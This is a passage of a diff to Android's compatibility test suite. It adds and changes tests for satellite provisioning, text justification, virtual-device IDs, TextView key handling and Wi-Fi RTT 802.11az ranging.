public void testDefaultCsThenPs() throws Exception {
// Setup pre-condition
@@ -1046,6 +1088,7 @@
unsolEmergencyNetworkScanResult(EUTRAN);
}
+ @Ignore("For internal test only.")
@Test
public void testNrEpsImsRegisteredEmcOffEmsOnScanLtePreferred() throws Exception {
// Setup pre-condition
@@ -1068,6 +1111,7 @@
verifyScanPsPreferred();
}
+ @Ignore("For internal test only.")
@Test
public void testOutGoingEmergencyCall() throws Exception {
// Setup pre-condition
diff --git a/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java b/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java
index f37ba3c..c1b7d06 100644
--- a/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java
+++ b/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java
@@ -109,6 +109,7 @@
private android.telephony.satellite.stub.NtnSignalStrength mNtnSignalStrength;
private int[] mSupportedRadioTechnologies;
+ private boolean mIsProvisioningApiSupported = true;
/**
* Create MockSatelliteService using the Executor specified for methods being called from
@@ -346,6 +347,13 @@
}
return;
}
+ if (!mIsProvisioningApiSupported) {
+ if (mShouldRespondTelephony.get()) {
+ runWithExecutor(() -> errorCallback.accept(
+ SatelliteResult.SATELLITE_RESULT_REQUEST_NOT_SUPPORTED));
+ }
+ return;
+ }
if (mShouldRespondTelephony.get()) {
runWithExecutor(() -> errorCallback.accept(SatelliteResult.SATELLITE_RESULT_SUCCESS));
}
@@ -362,6 +370,13 @@
}
return;
}
+ if (!mIsProvisioningApiSupported) {
+ if (mShouldRespondTelephony.get()) {
+ runWithExecutor(() -> errorCallback.accept(
+ SatelliteResult.SATELLITE_RESULT_REQUEST_NOT_SUPPORTED));
+ }
+ return;
+ }
if (mShouldRespondTelephony.get()) {
runWithExecutor(() -> errorCallback.accept(SatelliteResult.SATELLITE_RESULT_SUCCESS));
}
@@ -378,6 +393,13 @@
}
return;
}
+ if (!mIsProvisioningApiSupported) {
+ if (mShouldRespondTelephony.get()) {
+ runWithExecutor(() -> errorCallback.accept(
+ SatelliteResult.SATELLITE_RESULT_REQUEST_NOT_SUPPORTED));
+ }
+ return;
+ }
if (mShouldRespondTelephony.get()) {
runWithExecutor(() -> callback.accept(mIsProvisioned));
}
@@ -747,6 +769,13 @@
}
/**
+ * Set whether provisioning API should be supported
+ */
+ public void setProvisioningApiSupported(boolean provisioningApiSupported) {
+ mIsProvisioningApiSupported = provisioningApiSupported;
+ }
+
+ /**
* Helper method to verify that the satellite modem is properly configured to receive
* requests.
*
@@ -786,7 +815,7 @@
}
/**
- * Update the satellite provision state and notify listeners if it changed.
+ * Update the satellite provision state.
*
* @param isProvisioned {@code true} if the satellite is currently provisioned and
* {@code false} if it is not.
@@ -794,13 +823,7 @@
private void updateSatelliteProvisionState(boolean isProvisioned) {
logd("updateSatelliteProvisionState: isProvisioned=" + isProvisioned
+ ", mIsProvisioned=" + mIsProvisioned);
- if (isProvisioned == mIsProvisioned) {
- return;
- }
mIsProvisioned = isProvisioned;
- logd("updateSatelliteProvisionState: mRemoteListeners.size=" + mRemoteListeners.size());
- mRemoteListeners.values().forEach(listener -> runWithExecutor(() ->
- listener.onSatelliteProvisionStateChanged(mIsProvisioned)));
}
/**
diff --git a/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteServiceManager.java b/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteServiceManager.java
index d6bcfe9..4435dd5 100644
--- a/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteServiceManager.java
+++ b/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteServiceManager.java
@@ -1106,6 +1106,17 @@
mSatelliteService.clearSatelliteEnabledForCarrier();
}
+ /**
+ * Set whether provisioning API should be supported
+ */
+ void setProvisioningApiSupported(boolean provisioningApiSupported) {
+ if (mSatelliteService == null) {
+ loge("setProvisioningApiSupported: mSatelliteService is null");
+ return;
+ }
+ mSatelliteService.setProvisioningApiSupported(provisioningApiSupported);
+ }
+
@NonNull List<String> getPlmnListFromOverlayConfig() {
String[] plmnArr = readStringArrayFromOverlayConfig(
R.array.config_satellite_providers);
diff --git a/tests/tests/telephony/current/src/android/telephony/satellite/cts/SatelliteManagerTestOnMockService.java b/tests/tests/telephony/current/src/android/telephony/satellite/cts/SatelliteManagerTestOnMockService.java
index c41e59d..62bf542 100644
--- a/tests/tests/telephony/current/src/android/telephony/satellite/cts/SatelliteManagerTestOnMockService.java
+++ b/tests/tests/telephony/current/src/android/telephony/satellite/cts/SatelliteManagerTestOnMockService.java
@@ -383,6 +383,52 @@
}
@Test
+ public void testProvisioningApiNotSupportedByVendorService() {
+ if (!shouldTestSatelliteWithMockService()) return;
+
+ logd("testProvisioningApiNotSupportedByVendorService: start");
+ grantSatellitePermission();
+
+ SatelliteProvisionStateCallbackTest satelliteProvisionStateCallback =
+ new SatelliteProvisionStateCallbackTest();
+ long registerError = sSatelliteManager.registerForSatelliteProvisionStateChanged(
+ getContext().getMainExecutor(), satelliteProvisionStateCallback);
+ assertEquals(SatelliteManager.SATELLITE_RESULT_SUCCESS, registerError);
+
+ if (isSatelliteProvisioned()) {
+ logd("testProvisioningApiNotSupportedByVendorService: dreprovision");
+ assertTrue(deprovisionSatellite());
+ assertTrue(satelliteProvisionStateCallback.waitUntilResult(1));
+ assertFalse(satelliteProvisionStateCallback.isProvisioned);
+ }
+
+ sMockSatelliteServiceManager.setProvisioningApiSupported(false);
+
+ logd("testProvisioningApiNotSupportedByVendorService: provision satellite service");
+ assertTrue(provisionSatellite());
+ assertTrue(satelliteProvisionStateCallback.waitUntilResult(1));
+ assertTrue(satelliteProvisionStateCallback.isProvisioned);
+ assertTrue(isSatelliteProvisioned());
+
+ logd("testProvisioningApiNotSupportedByVendorService: dreprovision satellite service");
+ assertTrue(deprovisionSatellite());
+ assertTrue(satelliteProvisionStateCallback.waitUntilResult(1));
+ assertFalse(satelliteProvisionStateCallback.isProvisioned);
+ assertFalse(isSatelliteProvisioned());
+
+ logd("testProvisioningApiNotSupportedByVendorService: restore provision state");
+ sMockSatelliteServiceManager.setProvisioningApiSupported(true);
+ assertTrue(provisionSatellite());
+ assertTrue(satelliteProvisionStateCallback.waitUntilResult(1));
+ assertTrue(satelliteProvisionStateCallback.isProvisioned);
+ assertTrue(isSatelliteProvisioned());
+ sSatelliteManager.unregisterForSatelliteProvisionStateChanged(
+ satelliteProvisionStateCallback);
+
+ revokeSatellitePermission();
+ }
+
+ @Test
public void testPointingUICrashHandling() {
if (!shouldTestSatelliteWithMockService()) return;
diff --git a/tests/tests/text/src/android/text/cts/LayoutInterJustificationTest.kt b/tests/tests/text/src/android/text/cts/LayoutInterJustificationTest.kt
new file mode 100644
index 0000000..b4db145
--- /dev/null
+++ b/tests/tests/text/src/android/text/cts/LayoutInterJustificationTest.kt
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.text.cts
+
+import android.graphics.Canvas
+import android.graphics.Paint
+import android.graphics.Rect
+import android.platform.test.annotations.RequiresFlagsEnabled
+import android.platform.test.flag.junit.CheckFlagsRule
+import android.platform.test.flag.junit.DeviceFlagsValueProvider
+import android.text.Layout
+import android.text.TextPaint
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.filters.SmallTest
+import com.android.text.flags.Flags.FLAG_INTER_CHARACTER_JUSTIFICATION
+import com.google.common.truth.Truth.assertThat
+import kotlin.math.ceil
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+import org.mockito.Mock
+import org.mockito.Mockito.any
+import org.mockito.Mockito.anyBoolean
+import org.mockito.Mockito.anyFloat
+import org.mockito.Mockito.anyInt
+import org.mockito.Mockito.`when`
+import org.mockito.MockitoAnnotations
+
+@SmallTest
+@RunWith(AndroidJUnit4::class)
+@RequiresFlagsEnabled(FLAG_INTER_CHARACTER_JUSTIFICATION)
+class LayoutInterJustificationTest {
+
+ @Rule
+ @JvmField
+ val mCheckFlagsRule: CheckFlagsRule = DeviceFlagsValueProvider.createCheckFlagsRule()
+
+ private lateinit var mPaint: TextPaint
+
+ @Mock
+ private lateinit var mockCanvas: Canvas
+
+ @Before
+ fun setUp() {
+ MockitoAnnotations.initMocks(this)
+
+ mPaint = TextPaint()
+ mPaint.textSize = 10f // Make 1em = 10px
+ }
+
+ @RequiresFlagsEnabled(FLAG_INTER_CHARACTER_JUSTIFICATION)
+ @Test
+ fun defaultJustificationMode() {
+ val text = "Hello, World."
+ val paint = mPaint
+ val width = 100
+ val layout = Layout.Builder(text, 0, text.length, paint, width)
+ .build()
+
+ assertThat(layout.justificationMode).isEqualTo(Layout.JUSTIFICATION_MODE_NONE)
+ }
+
+ @RequiresFlagsEnabled(FLAG_INTER_CHARACTER_JUSTIFICATION)
+ @Test
+ fun setAndGetJustificationMode() {
+ val text = "Hello, World."
+ val paint = mPaint
+ val width = 100
+ var layout = Layout.Builder(text, 0, text.length, paint, width)
+ .setJustificationMode(Layout.JUSTIFICATION_MODE_INTER_CHARACTER)
+ .build()
+
+ assertThat(layout.justificationMode).isEqualTo(Layout.JUSTIFICATION_MODE_INTER_CHARACTER)
+
+ layout = Layout.Builder(text, 0, text.length, paint, width)
+ .setJustificationMode(Layout.JUSTIFICATION_MODE_INTER_WORD)
+ .build()
+
+ assertThat(layout.justificationMode).isEqualTo(Layout.JUSTIFICATION_MODE_INTER_WORD)
+ }
+
+ @RequiresFlagsEnabled(FLAG_INTER_CHARACTER_JUSTIFICATION)
+ @Test
+ fun letterSpacingAmountTest() {
+ val text = "Hello, World."
+ val paint = mPaint
+ val threeLineText = "$text $text $text"
+ val width = Layout.getDesiredWidth(text, paint)
+ val layoutWidth = ceil(width * 1.25).toInt()
+
+ // Preparation
+ var layout = Layout.Builder(
+ threeLineText,
+ 0,
+ threeLineText.length,
+ paint,
+ layoutWidth
+ )
+ .setJustificationMode(Layout.JUSTIFICATION_MODE_INTER_CHARACTER)
+ .build()
+ assertThat(layout.getLineStart(1)).isEqualTo(14)
+ assertThat(layout.getLineEnd(1)).isEqualTo(28)
+
+ `when`(mockCanvas.getClipBounds(any()))
+ .thenAnswer { input ->
+ val rect = input.getArgument<Rect>(0)
+ rect.left = 0
+ rect.top = 0
+ rect.right = layoutWidth
+ rect.bottom = layoutWidth
+ true
+ }
+
+ val actualLetterSpacings = mutableListOf<Float>()
+
+ `when`(mockCanvas.drawTextRun(
+ any<CharSequence>(),
+ anyInt(),
+ anyInt(),
+ anyInt(),
+ anyInt(),
+ anyFloat(),
+ anyFloat(),
+ anyBoolean(),
+ any())).thenAnswer{ input ->
+ val paint = input.getArgument<Paint>(8)
+ actualLetterSpacings.add(paint.letterSpacing * paint.textSize) // Convert to px
+ true
+ }
+
+ // Do: draw a text
+ layout.draw(mockCanvas)
+
+ // Assertions
+ assertThat(layout.lineCount).isEqualTo(3)
+
+ val clusterCountLine1 = layout.getLineLetterSpacingUnitCount(0, false)
+ val expectedLetterSpacingLine1 = (layoutWidth - width) / (clusterCountLine1 - 1)
+ assertThat(actualLetterSpacings[0]).isEqualTo(expectedLetterSpacingLine1)
+
+ val clusterCountLine2 = layout.getLineLetterSpacingUnitCount(1, false)
+ val expectedLetterSpacingLine2 = (layoutWidth - width) / (clusterCountLine2 - 1)
+ assertThat(actualLetterSpacings[1]).isEqualTo(expectedLetterSpacingLine2)
+
+ // No justification at the end of the line.
+ }
+}
diff --git a/tests/tests/virtualdevice/core/src/android/virtualdevice/cts/core/VirtualDeviceManagerBasicTest.java b/tests/tests/virtualdevice/core/src/android/virtualdevice/cts/core/VirtualDeviceManagerBasicTest.java
index 76c666d..e7d60aa 100644
--- a/tests/tests/virtualdevice/core/src/android/virtualdevice/cts/core/VirtualDeviceManagerBasicTest.java
+++ b/tests/tests/virtualdevice/core/src/android/virtualdevice/cts/core/VirtualDeviceManagerBasicTest.java
@@ -127,6 +127,44 @@
}
}
+ @RequiresFlagsEnabled(Flags.FLAG_PERSISTENT_DEVICE_ID_API)
+ @Test
+ public void getDisplayNameForPersistentId_nullPersistentId_throws() {
+ assertThrows(NullPointerException.class,
+ () -> mVirtualDeviceManager.getDisplayNameForPersistentDeviceId(null));
+ }
+
+ @RequiresFlagsEnabled(Flags.FLAG_PERSISTENT_DEVICE_ID_API)
+ @Test
+ public void getDisplayNameForPersistentId_nonExistentPersistentId_returnsNull() {
+ assertThat(mVirtualDeviceManager.getDisplayNameForPersistentDeviceId(
+ "nonExistentPersistentId"))
+ .isNull();
+ }
+
+ @RequiresFlagsEnabled(Flags.FLAG_PERSISTENT_DEVICE_ID_API)
+ @Test
+ public void getDisplayNameForPersistentId_defaultDevicePersistentId_returnsNull() {
+ assertThat(mVirtualDeviceManager.getDisplayNameForPersistentDeviceId(
+ VirtualDeviceManager.PERSISTENT_DEVICE_ID_DEFAULT))
+ .isNull();
+ }
+
+ @RequiresFlagsEnabled({Flags.FLAG_PERSISTENT_DEVICE_ID_API, Flags.FLAG_VDM_PUBLIC_APIS})
+ @Test
+ public void getDisplayNameForPersistentId_validVirtualDevice_returnsCorrectId() {
+ final CharSequence virtualDeviceDisplayName =
+ mVirtualDeviceManager
+ .getVirtualDevice(mVirtualDevice.getDeviceId())
+ .getDisplayName();
+ final CharSequence persistentDeviceDisplayName =
+ mVirtualDeviceManager.getDisplayNameForPersistentDeviceId(
+ mVirtualDevice.getPersistentDeviceId());
+
+ assertThat(virtualDeviceDisplayName.toString())
+ .isEqualTo(persistentDeviceDisplayName.toString());
+ }
+
@Test
public void createVirtualDevice_shouldNotThrowException() {
assertThat(mVirtualDevice).isNotNull();
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 2388de9..a5f3da8 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -7107,6 +7107,126 @@
// TODO(Bug: 22033189): Tests the set callback is actually used.
}
+ @Test
+ public void testBackStopsActionMode() throws Throwable {
+ String text = "abcde";
+ mActivityRule.runOnUiThread(() -> {
+ FrameLayout layout = new FrameLayout(mActivity);
+ layout.setFocusable(true);
+ mActivity.setContentView(layout);
+ mTextView = new EditText(mActivity);
+ mTextView.setText(text, BufferType.SPANNABLE);
+ mTextView.setTextIsSelectable(true);
+ mTextView.requestFocus();
+ mTextView.setSelected(true);
+ mTextView.setTextClassifier(TextClassifier.NO_OP);
+ layout.addView(mTextView);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ ActionMode.Callback mockActionModeCallback = mock(ActionMode.Callback.class);
+ when(mockActionModeCallback.onCreateActionMode(any(ActionMode.class), any(Menu.class)))
+ .thenReturn(Boolean.TRUE);
+ mTextView.setCustomSelectionActionModeCallback(mockActionModeCallback);
+
+ mActivityRule.runOnUiThread(() -> {
+ // Set selection and start action mode.
+ final Bundle args = new Bundle();
+ args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_START_INT, 0);
+ args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_END_INT, text.length());
+ mTextView.performAccessibilityAction(AccessibilityNodeInfo.ACTION_SET_SELECTION, args);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ mInstrumentation.sendCharacterSync(KeyEvent.KEYCODE_BACK);
+
+ verify(mockActionModeCallback).onDestroyActionMode(any(ActionMode.class));
+ assertTrue(mTextView.hasFocus());
+ }
+
+ @RequiresFlagsEnabled(com.android.text.flags.Flags.FLAG_ESCAPE_CLEARS_FOCUS)
+ @Test
+ public void testEscapeStopsActionModeThenClearsFocus() throws Throwable {
+ String text = "abcde";
+ mActivityRule.runOnUiThread(() -> {
+ FrameLayout layout = new FrameLayout(mActivity);
+ layout.setFocusable(true);
+ mActivity.setContentView(layout);
+ mTextView = new EditText(mActivity);
+ mTextView.setText(text, BufferType.SPANNABLE);
+ mTextView.setTextIsSelectable(true);
+ mTextView.requestFocus();
+ mTextView.setSelected(true);
+ mTextView.setTextClassifier(TextClassifier.NO_OP);
+ layout.addView(mTextView);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ ActionMode.Callback mockActionModeCallback = mock(ActionMode.Callback.class);
+ when(mockActionModeCallback.onCreateActionMode(any(ActionMode.class), any(Menu.class)))
+ .thenReturn(Boolean.TRUE);
+ mTextView.setCustomSelectionActionModeCallback(mockActionModeCallback);
+
+ mActivityRule.runOnUiThread(() -> {
+ // Set selection and start action mode.
+ final Bundle args = new Bundle();
+ args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_START_INT, 0);
+ args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_END_INT, text.length());
+ mTextView.performAccessibilityAction(AccessibilityNodeInfo.ACTION_SET_SELECTION, args);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ // First escape key press stops the action mode
+ mInstrumentation.sendCharacterSync(KeyEvent.KEYCODE_ESCAPE);
+
+ verify(mockActionModeCallback).onDestroyActionMode(any(ActionMode.class));
+ assertTrue(mTextView.hasFocus());
+
+ // Second escape key press clears focus
+ mInstrumentation.sendCharacterSync(KeyEvent.KEYCODE_ESCAPE);
+
+ assertFalse(mTextView.hasFocus());
+ }
+
+ @RequiresFlagsEnabled(com.android.text.flags.Flags.FLAG_ESCAPE_CLEARS_FOCUS)
+ @Test
+ public void testEscapeWithModifierDoesNotStopActionModeOrClearFocus() throws Throwable {
+ String text = "abcde";
+ mActivityRule.runOnUiThread(() -> {
+ FrameLayout layout = new FrameLayout(mActivity);
+ layout.setFocusable(true);
+ mActivity.setContentView(layout);
+ mTextView = new EditText(mActivity);
+ mTextView.setText(text, BufferType.SPANNABLE);
+ mTextView.setTextIsSelectable(true);
+ mTextView.requestFocus();
+ mTextView.setSelected(true);
+ mTextView.setTextClassifier(TextClassifier.NO_OP);
+ layout.addView(mTextView);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ ActionMode.Callback mockActionModeCallback = mock(ActionMode.Callback.class);
+ when(mockActionModeCallback.onCreateActionMode(any(ActionMode.class), any(Menu.class)))
+ .thenReturn(Boolean.TRUE);
+ mTextView.setCustomSelectionActionModeCallback(mockActionModeCallback);
+
+ mActivityRule.runOnUiThread(() -> {
+ // Set selection and start action mode.
+ final Bundle args = new Bundle();
+ args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_START_INT, 0);
+ args.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_END_INT, text.length());
+ mTextView.performAccessibilityAction(AccessibilityNodeInfo.ACTION_SET_SELECTION, args);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ mCtsKeyEventUtil.sendKeyWhileHoldingModifier(mInstrumentation,
+ KeyEvent.KEYCODE_ESCAPE, KeyEvent.KEYCODE_CTRL_LEFT);
+
+ verify(mockActionModeCallback, never()).onDestroyActionMode(any(ActionMode.class));
+ assertTrue(mTextView.hasFocus());
+ }
+
@UiThreadTest
@Test
public void testRespectsViewFocusability() {
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
index b5005a7..eacd9a7 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
@@ -98,7 +98,8 @@
private static Boolean sWasScanThrottleEnabled;
private static boolean sWasWifiEnabled;
private static ScanResult s11McScanResult;
- private static ScanResult sNone11McScanResult;
+ private static ScanResult s11AzScanResult;
+ private static ScanResult sLegacyScanResult;
protected WifiRttManager mWifiRttManager;
protected Bundle mCharacteristics;
@@ -294,17 +295,20 @@
throws InterruptedException {
int scanCount = 0;
- Map<String, ScanResult> ap24Ghz = new HashMap<>();
- Map<String, ScanResult> ap5Ghz = new HashMap<>();
+ Map<String, ScanResult> ap24Ghz11Mc = new HashMap<>();
+ Map<String, ScanResult> ap5Ghz11Mc = new HashMap<>();
+ Map<String, ScanResult> ap24Ghz11Az = new HashMap<>();
+ Map<String, ScanResult> ap5Ghz11Az = new HashMap<>();
+
while (scanCount <= NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP) {
for (ScanResult scanResult : scanAps()) {
- if (!scanResult.is80211mcResponder()) {
+ if (!scanResult.is80211mcResponder() && !scanResult.is80211azNtbResponder()) {
if (scanResult.centerFreq0 < FREQUENCY_OF_5GHZ_BAND_IN_MHZ) {
continue;
}
- if (sNone11McScanResult == null
- || scanResult.level > sNone11McScanResult.level) {
- sNone11McScanResult = scanResult;
+ if (sLegacyScanResult == null
+ || scanResult.level > sLegacyScanResult.level) {
+ sLegacyScanResult = scanResult;
}
continue;
}
@@ -312,35 +316,54 @@
continue;
}
if (is24Ghz(scanResult.frequency)) {
- ap24Ghz.put(scanResult.BSSID, scanResult);
+ if (scanResult.is80211azNtbResponder()) {
+ ap24Ghz11Az.put(scanResult.BSSID, scanResult);
+ } else {
+ ap24Ghz11Mc.put(scanResult.BSSID, scanResult);
+ }
} else if (is5Ghz(scanResult.frequency)) {
- ap5Ghz.put(scanResult.BSSID, scanResult);
+ if (scanResult.is80211azNtbResponder()) {
+ ap5Ghz11Az.put(scanResult.BSSID, scanResult);
+ } else {
+ ap5Ghz11Mc.put(scanResult.BSSID, scanResult);
+ }
}
}
- if (sNone11McScanResult == null) {
+ if (sLegacyScanResult == null) {
// Ongoing connection may cause scan failure, wait for a while before next scan.
Thread.sleep(INTERVAL_BETWEEN_FAILURE_SCAN_MILLIS);
}
scanCount++;
}
- if (!ap5Ghz.isEmpty()) {
- s11McScanResult = getRandomScanResult(ap5Ghz.values());
- return;
+ if (!ap5Ghz11Mc.isEmpty()) {
+ s11McScanResult = getRandomScanResult(ap5Ghz11Mc.values());
+ } else {
+ s11McScanResult = getRandomScanResult(ap24Ghz11Mc.values());
}
- s11McScanResult = getRandomScanResult(ap24Ghz.values());
+
+ if (!ap5Ghz11Az.isEmpty()) {
+ s11AzScanResult = getRandomScanResult(ap5Ghz11Az.values());
+ } else {
+ s11AzScanResult = getRandomScanResult(ap24Ghz11Az.values());
+ }
+
}
static Context getContext() {
return sContext;
}
+ static ScanResult getS11AzScanResult() {
+ return s11AzScanResult;
+ }
+
static ScanResult getS11McScanResult() {
return s11McScanResult;
}
- static ScanResult getNone11McScanResult() {
- return sNone11McScanResult;
+ static ScanResult getLegacyScanResult() {
+ return sLegacyScanResult;
}
private static boolean is24Ghz(int freq) {
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 5760419..feceb6fe 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -26,6 +26,7 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
import static org.mockito.Mockito.mock;
import android.net.MacAddress;
@@ -121,7 +122,7 @@
if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(getContext())) {
assertEquals(1, request.getRttResponders().size());
}
- range11mcApRequest(request, testAp);
+ rangeApRequest(request, testAp);
}
/**
@@ -181,7 +182,7 @@
if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(getContext())) {
assertEquals(1, request.getRttResponders().size());
}
- range11mcApRequest(request, testAp);
+ rangeApRequest(request, testAp);
}
/**
@@ -219,7 +220,7 @@
if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(getContext())) {
assertEquals(1, request.getRttResponders().size());
}
- range11mcApRequest(request, testAp);
+ rangeApRequest(request, testAp);
}
/**
@@ -228,7 +229,7 @@
* @param request the ranging request that is being tested
* @param testAp the original test scan result to provide feedback on failure conditions
*/
- private void range11mcApRequest(RangingRequest request, ScanResult testAp)
+ private void rangeApRequest(RangingRequest request, ScanResult testAp)
throws InterruptedException {
Thread.sleep(5000);
List<RangingResult> allResults = new ArrayList<>();
@@ -269,14 +270,14 @@
statuses[i] = status;
if (status == RangingResult.STATUS_SUCCESS) {
if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(getContext())) {
- assertEquals(
- "Wi-Fi RTT results: invalid result (wrong rttBurstSize) entry on "
- + "iteration "
- + i,
- result.getNumAttemptedMeasurements(),
- RangingRequest.getMaxRttBurstSize());
- assertTrue("Wi-Fi RTT results: should be a 802.11MC measurement",
- result.is80211mcMeasurement());
+ if (result.is80211mcMeasurement()) {
+ assertEquals(
+ "Wi-Fi RTT results: invalid result (wrong rttBurstSize) entry on "
+ + "iteration " + i, result.getNumAttemptedMeasurements(),
+ RangingRequest.getMaxRttBurstSize());
+ }
+ assertTrue("Wi-Fi RTT results: should be a 802.11mc or 802.11az measurement",
+ result.is80211mcMeasurement() || result.is80211azNtbMeasurement());
}
distanceSum += result.getDistanceMm();
if (i == 0) {
@@ -359,8 +360,6 @@
}
}
-
-
/**
* Validate that when a request contains more range operations than allowed (by API) that we
* get an exception.
@@ -381,7 +380,7 @@
ScanResult testApNon80211mc = null;
if (WifiBuildCompat.isPlatformOrWifiModuleAtLeastS(getContext())) {
- testApNon80211mc = getNone11McScanResult();
+ testApNon80211mc = getLegacyScanResult();
}
if (testApNon80211mc == null) {
builder.addAccessPoints(List.of(testAp, testAp, testAp));
@@ -609,7 +608,7 @@
}
// Scan for Non-IEEE 802.11mc supporting APs
- ScanResult testAp = getNone11McScanResult();
+ ScanResult testAp = getLegacyScanResult();
assertNotNull(
"Cannot find any test APs which are Non-IEEE 802.11mc - please verify that"
+ " your test setup includes them!", testAp);
@@ -641,7 +640,7 @@
}
// Scan for Non-IEEE 802.11mc supporting APs
- ScanResult testAp = getNone11McScanResult();
+ ScanResult testAp = getLegacyScanResult();
assertNotNull(
"Cannot find any test APs which are Non-IEEE 802.11mc - please verify that"
+ " your test setup includes them!", testAp);
@@ -864,4 +863,26 @@
}
}
+
+ /**
+ * Test Wi-Fi RTT ranging operation using ScanResults in request:
+ * - Scan for visible APs for the test AP (which is validated to support IEEE 802.11az)
+ * - Perform N (constant) RTT operations
+ * - Validate:
+ * - Failure ratio < threshold (constant)
+ * - Result margin < threshold (constant)
+ */
+ @Test
+ @RequiresFlagsEnabled(Flags.FLAG_RTT_11AZ_NTB_RANGING_SUPPORT)
+ public void testRangingToTest11azApUsingScanResult() throws InterruptedException {
+ assumeTrue(mCharacteristics != null && mCharacteristics.getBoolean(
+ WifiRttManager.CHARACTERISTICS_KEY_BOOLEAN_NTB_INITIATOR));
+ ScanResult testAp = getS11AzScanResult();
+ assertNotNull("Cannot find any test APs which support RTT / IEEE 802.11az"
+ + " - please verify that your test setup includes them!", testAp);
+ RangingRequest.Builder builder = new RangingRequest.Builder();
+ builder.addAccessPoint(testAp);
+ RangingRequest request = builder.build();
+ rangeApRequest(request, testAp);
+ }
}
diff --git a/tools/cts-device-info/Android.bp b/tools/cts-device-info/Android.bp
index e8457c0..eab6961 100644
--- a/tools/cts-device-info/Android.bp
+++ b/tools/cts-device-info/Android.bp
@@ -37,6 +37,7 @@
"gcatbox",
"ats",
"mcts",
+ "xrts",
],
static_libs: [
"compatibility-device-info",
